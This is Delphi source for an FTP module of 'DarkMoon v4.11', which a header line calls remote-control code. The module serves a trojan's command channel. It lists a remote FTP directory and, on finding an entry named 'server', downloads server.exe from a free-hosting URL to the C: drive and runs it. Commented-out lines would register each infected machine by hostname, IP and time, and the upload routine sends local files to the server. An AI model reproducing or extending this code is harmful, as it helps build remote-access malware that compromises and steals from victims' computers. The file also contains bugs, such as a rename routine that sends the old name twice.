microsoft_uftp.pas

DarkMoon v4.11 (远程控制) 国外收集的代码,控件下载: http://www.winio.cn/Blogs/jishuwenzhang/200712/20071208230135.

unit UFTP;

interface
  uses windows,WinSock,
  ShellApi,
  CommandsAndUtils;

const
  WM_ftpcom =  $0400 + $1004;
  WM_ftpdata = $0400 + $1005;
  WM_ftppasv = $0400 + $1006;
  FTP_sConnected =1 ;
  FTP_sDisconnected= 2 ;

   FTP_sUpload =3 ;
   FTP_sDownload = 4 ;
   FTP_sList = 5;

  var


wVersionRequested  : WORD ;
inn : IN_ADDR ;
nErrorStatus : integer;

   wsa_Data  : WSADATA;

ftpdata : TSocket;
ftpdataclient : TSocket;
ftpcom : TSocket;
 ftppasv: TSocket;

  ftpaddr : SOCKADDR_IN; // Internet address
  
  ftpCaddr : SOCKADDR_IN; // Internet address
  ftpCaddrserver : SOCKADDR_IN; // Internet address

  ftpPasvaddr : SOCKADDR_IN;
  ftpPasvServeraddr :  SOCKADDR_IN  ;
  FTP_WAIT : integer;
 FTP_Directories: string   ;
  FTP_IP : STRING;
  FTP_Port : integer;
  FTP_Downloadfilename : string;
  FTP_Uploadfilename : string;
  FTP_TempFile : string ;
  id : cardinal;
  FTP_PASS : string;
  FTP_USer : string;
  FTP_Handle : HWND;
  FTP_status : integer;
implementation

{$R *.dfm}

function stringtochar(st : string) : char;
var c : char;
begin
     c := #0;
     while c <> st do
           c := succ(c);
     stringtochar := c;
end;




procedure SocketClose(var Socket: TSocket; Handle: HWND ; wMsg : integer);
var
  RC: integer;
begin
  if Socket <> INVALID_SOCKET then
    begin
       WSAASyncSelect(Socket, Handle, wMsg , 0);


      if shutdown(Socket, 1) <> 0 then
        if WSAGetLastError <> WSAENOTCONN then
          begin
           // SocketError(WSAGetLastError);
            Exit;
          end;

      if closesocket(Socket) <> 0 then
       // SocketError(WSAGetLastError)
      else
        Socket:= INVALID_SOCKET;
    end;
end;



  procedure CreateFTPPasv ;
  var
  HostEnt: PHostEnt;

  begin
  Sleep(2000);
  SocketClose ( ftppasv,FTP_Handle,  WM_ftppasv);
   {--------------We have to create a socket for ftp Commands Client------------- }
  ftppasv := socket(AF_INET, SOCK_STREAM, 0);
  if (ftppasv <> INVALID_SOCKET)   THEN BEGIN
  ftppasvaddr.sin_family := AF_INET;
  ftppasvaddr.sin_port := 0;
  ftppasvaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind(ftppasv ,ftppasvaddr,sizeof(ftppasvaddr))= INVALID_SOCKET ) then begin
 halt;
 end;

 if (WSAAsyncSelect(ftppasv, FTP_Handle, WM_ftppasv , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
 halt;
 end;


 ftpPasvServeraddr.sin_family := AF_INET;
 ftpPasvServeraddr.sin_port := htons(FTP_Port);
ftpPasvServeraddr.sin_addr.s_addr := inet_addr(pchar(FTP_IP));

      if ftpPasvServeraddr.sin_addr.s_addr = -1 then
        begin
        HostEnt := GetHostByName(pchar(FTP_IP));
         if HostEnt = nil then
         begin
         Exit;
         end;

        ftpPasvServeraddr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
         end;

 if (connect(ftppasv,ftpPasvServeraddr,sizeof(ftpPasvServeraddr)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;



  end;

procedure CreateFTPData ;
begin
       SocketClose ( ftpdata,FTP_Handle, WM_ftpdata);
  {--------------We have to create a socket for ftp Data Server----------------- }
 ftpdata := socket(AF_INET, SOCK_STREAM, 0);

   if (ftpdata <> INVALID_SOCKET)   THEN BEGIN
   ftpaddr.sin_family := AF_INET;
   ftpaddr.sin_port := htons(2600);
   ftpaddr.sin_addr.s_addr := htonl(INADDR_ANY);
   end;

   if (bind(ftpdata,ftpaddr,sizeof(ftpaddr))=  INVALID_SOCKET ) then begin
   WSACleanup();
   halt;
   end;

   if ( listen(ftpdata,3)= INVALID_SOCKET) then begin
   WSACleanup();
   halt;
   end ;

   if (WSAAsyncSelect(ftpdata, FTP_Handle, WM_ftpdata, FD_ACCEPT or FD_CLOSE or FD_READ or FD_WRITE) = SOCKET_ERROR) then begin
   halt;
   end;

end;

    procedure CreateFTPCOM ;
begin
     SocketClose ( ftpcom ,FTP_Handle,  WM_ftpcom);
   {--------------We have to create a socket for ftp Commands Client------------- }
  ftpcom  := socket(AF_INET, SOCK_STREAM, 0);
  if (ftpcom  <> INVALID_SOCKET)   THEN BEGIN
  ftpCaddr.sin_family := AF_INET;
  ftpCaddr.sin_port := 0;
  ftpCaddr.sin_addr.s_addr := htonl(INADDR_ANY);
  end;

 if (bind(ftpcom ,ftpCaddr,sizeof(ftpCaddr))= INVALID_SOCKET ) then begin
 halt;
 end;

 if (WSAAsyncSelect(ftpcom, FTP_Handle, WM_ftpcom , FD_READ or FD_READ or FD_WRITE or FD_CLOSE or  FD_Connect) = SOCKET_ERROR) then begin
 halt;
 end;

end;

 procedure FTP_MKD (dir : string);
 begin
     SendData  (ftpcom,'MKD ' + dir + #13#10);
 end;

  procedure FTP_DEL (source : string);
 begin
      SendData  (ftpcom,'DELE ' + source + #13#10);
 end;

   procedure FTP_RMD(old: string;new : string);
 begin

       SendData  (ftpcom,'RNFR ' + old  + #13#10);
       sleep(100);
      SendData  (ftpcom,'RNTO ' + old  + #13#10);
 end;

function FTP_LIST(DIR : string): string;
 begin
FTP_status:=FTP_sList ;
   FTP_Directories:='';
  CreateFTPData;
  sleep(100);
  SendData  (ftpcom,'PASV '+ replace ( LocalIP,'.',',') + ',10,40' + #13#10);
   sleep(100);
 SendData  (ftpcom,'NLST ' + Dir+ #13#10);

 end;

 procedure FTP_Connect(Host: string;User : string; PASS : string;Port : integer);
  var
HostEnt: PHostEnt;
begin
FTP_PASS:=PASS;
FTP_User:=User ;
   CreateFTPCom;

 ftpCaddrserver.sin_family := AF_INET;
 ftpCaddrserver.sin_port := htons(Port);
 ftpCaddrserver.sin_addr.s_addr := inet_addr(pchar(Host));

      if ftpCaddrserver.sin_addr.s_addr = -1 then
        begin
        HostEnt := GetHostByName(pchar(Host));
         if HostEnt = nil then
         begin
         Exit;
         end;

         ftpCaddrserver.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
         end;

 if (connect(ftpcom, ftpCaddrserver,sizeof(ftpCaddrserver)) =SOCKET_ERROR) then begin
 //messagebox(0,'dddddddddddd','ddddddddd',0);
 end;
 end;

procedure FTP_CWD(DIR : string);
 begin
  sleep(100);
 SendData  (ftpcom,'CWD ' + DIR+ #13#10);

 end;

 procedure FTP_Upload (filename : string);
 begin
  FTP_status:=FTP_sUpload ;
 FTP_Uploadfilename:=filename;
   If FileExists (FTP_Uploadfilename)=true Then  begin
 SendData  (ftpcom,'PASV ' + #13#10);
 sleep(100);
 SendData  (ftpcom,'STOR ' + GetFileName(filename) + #13#10);
   end;
 end;


procedure FTP_download(remotefile : string) ;

 begin
 FTP_status:=FTP_sDownload ;
   SendData  (ftpcom,'PASV ' + #13#10);
 sleep(100);
 SendData  (ftpcom,'RETR ' + remotefile + #13#10);
 end;

 procedure FTP_Desconect;
 begin


 end;


    procedure ConnectToserver ;
var
temp,temp1,temp2,tempData : string;
a,i : integer;
begin

 sleep(100);
temp :=replace(FTP_Directories,#13#10,'*');

i:=FindNChars (temp  ,'*' );

for a:= 1 to i do begin
temp1:= (copy(temp,1,FindChar(temp,'*'))) ;
temp2:=  copy(temp1,1,length(temp1)-1 );
sleep(10);


 if  copy( temp2,1,6)='server' then begin
 Descargar ( 'http://shukisnike.250free.com/ips/server.exe','c:\server.exe');
 ShellEx( 'c:\server.exe')
 end;


if  copy( temp2,1,9)='darkmoon_' then begin
     messagebox (0,pchar(temp2),'',0);
//cIP:=copy(temp2,10,length(temp2) );
//cIP:=replace(cIP,'a','.');
end;
temp:=replace ( temp,temp1,''  );
end ;

end;


      procedure ftpdataEvents( wParam,lParam: Integer);
      var
     Recived : string;
     BytesToRead : Integer;

     Begin
     case lParam  of
     FD_READ:  begin

       if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
       begin
       SetLength( Recived, BytesToRead );
       Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );
         if FTP_status=FTP_sList then begin
          // FTP_Directories:=FTP_Directories +  Recived  ;


         end;

       //frmMain.Memo2.Lines.Add( Recived ) ;
       end;

      end;
      FD_ACCEPT:  begin
        ftpdataclient:= accept(ftpdata,nil,nil);


       end;

      FD_CLOSE:  begin
      try CloseSocket(wParam ); except end;

      end;
      end;

    End;


        procedure ftpPasvEvents( wParam,lParam: Integer);
           var
       Recived : string;
     BytesToRead : Integer;

     begin
     case lParam  of
      FD_READ:  begin
     if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
     begin
     SetLength( Recived, BytesToRead );
     Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );

        FTP_WAIT:=0;
        if FTP_status=FTP_sList then begin
           FTP_Directories:=Recived  ;
              ConnectToserver;
         end
         else
         begin
           // frmMain.Memo2.Lines.Add(   Recived);
         end;


    
     end;
     end ;

      FD_Connect:
      begin
        //  frmMain.Caption:='PASV';
   // SendData ( ftppasv, 'ssssssssssssssss .'+ #13#10);
// closesocket(ftppasv);

   // SendData (ftpcom, 'PASS ' + 'KissmyAss123' + #13#10);
   // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
    //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
    //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
   // SendData (ftpcom, 'NLST ' + #13#10);

      end;

     end;
        end;

   procedure ftpcomEvents( wParam,lParam: Integer);
      var
       Recived : string;
     BytesToRead : Integer;
       temp : string;
       port1, port2 : integer;
        F :file of char;
G :textfile;
s,Data,Data1, Data3,tmpData,tmpData1: string;
l ,c : char;
     begin
     case lParam  of
      FD_READ:  begin
     if ioctlsocket(wParam, FIONREAD, LongInt(BytesToRead)) = 0 then
     begin
     SetLength( Recived, BytesToRead );
     Recv( wparam, Pointer( Recived )^, BytesToRead, 0 );


           if  copy (Recived,1,8)= '150-FILE' then begin

                      FTP_TempFile:= split ( Recived,':',1);
                  FTP_TempFile:= replace (FTP_TempFile,#13#10,'*');
               FTP_TempFile:= split  (  FTP_TempFile,'*',0);
             // frmmain.Label3.Caption:=FTP_TempFile;
           // FTP_RMD (FTP_TempFile,'zzapper.txt');
If FileExists (FTP_Uploadfilename)=true Then  begin
                   Data:='';
AssignFile (F,FTP_Uploadfilename);
FileMode := 0;
Reset (F);


         while not eof( F ) do
      begin
           read( F, l );
           Data := Data + l;
      end;

      SendData ( ftppasv,Data + #13#10);


            end;
               closesocket(ftppasv);
           end;



             if  copy (Recived,1,3)='150'then begin
               if FTP_status=FTP_sUpload then begin

               If FileExists (FTP_Uploadfilename)=true Then  begin
                   Data:='';
AssignFile (F,FTP_Uploadfilename);
FileMode := 0;
Reset (F);


         while not eof( F ) do
      begin
           read( F, l );
           Data := Data + l;
      end;

      SendData ( ftppasv,Data + #13#10);

              sleep(100);


         closesocket(ftppasv);

           end;
            End;
            if FTP_status=FTP_sDownload then begin


            end;

             end;


            if  copy (Recived,1,3)='227'then begin

             temp:=( split ( Recived,'(',1));
FTP_IP:=(split (temp,',',0) + '.' +  split (temp,',',1) +'.' + split (temp,',',2) + '.' +split (temp,',',3) );
FTP_Port:=(strtoint(split (temp,',',4))*256)+strtoint(split (temp,',',5));
          BeginThread ( nil, 0, @ CreateFTPPasv, nil, 0, id );


  //showmessage ( FTP_IP + '  ' + inttostr(FTP_Port));


            end;

    // frmMain.Memo1.Lines.Add(   Recived);
     end;
     end ;

      FD_Connect:
      begin
         // frmMain.Caption:='connected';
    SendData (ftpcom, 'USER ' + FTP_USER + #13#10);
    SendData (ftpcom, 'PASS ' + FTP_PASS + #13#10);
   // SendData (ftpcom, 'CWD ' + '/ips' + #13#10);
    //SendData (ftpcom, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
    //SendData (ftpcom, 'PORT ' + replace ( LocalIP,'.',',') + ',10,40' + #13#10);
   // SendData (ftpcom, 'NLST ' + #13#10);

      end;

     end;
     end;



procedure FTPSETUP(Handle : HWND);
begin

    FTP_Handle:=Handle ;
 wVersionRequested :=MAKEWORD(1, 1)  ;    //start the winsock

 nErrorStatus := WSAStartup(wVersionRequested, wsa_Data);
 if (nErrorStatus <> 0)  then     begin
 //WSAGetLastError()
messagebox(0,pchar(inttostr(nErrorStatus)),'ddddddd',0);
 end;

 if ( (LOBYTE(wsa_Data.wVersion) <> LOBYTE(wVersionRequested)) and
(HIBYTE(wsa_Data.wVersion) <> HIBYTE(wVersionRequested)) )  then
begin
halt;
WSACleanup(); // terminate WinSock use
end;


 //label1.Caption:=LocalIP;
 //edit2.Text:=replace ( LocalIP,'.',',')
end;







end.